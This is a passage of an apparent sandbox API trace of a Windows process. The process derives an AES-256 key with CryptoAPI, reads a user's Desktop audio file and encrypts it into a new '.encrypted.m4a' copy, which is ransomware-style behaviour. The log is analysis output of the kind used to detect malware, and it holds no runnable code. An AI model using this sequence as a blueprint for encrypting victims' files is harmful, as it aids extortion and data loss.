wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.466] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.466] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.466] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.467] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.467] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.467] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.467] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.468] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.468] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.468] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b0c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.468] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.468] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.468] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0022.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.469] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.469] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.469] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.470] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\a7bot.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.470] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.470] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.471] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm")) returned 0x10 [0022.471] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\a7BOT.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\fmgvztmzkdkwm\\a7bot.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.472] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.473] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.473] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5fa6, lpOverlapped=0x0) returned 1 [0022.474] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.476] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.476] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.476] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.476] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.477] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.477] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.477] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.477] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.478] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.478] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.478] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.478] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.479] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.479] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5fa6, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5fb0) returned 1 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] CharLowerBuffW (in: lpsz="byte[24497]", cchLength=0xb | out: lpsz="byte[24497]") returned 0xb [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.479] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.479] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.479] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cc930*, pdwDataLen=0xe8f3dfdf68*=0x5fa6, dwBufLen=0x5fb0 | out: pbData=0xe8f41cc930*, pdwDataLen=0xe8f3dfdf68*=0x5fb0) returned 1 [0022.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, 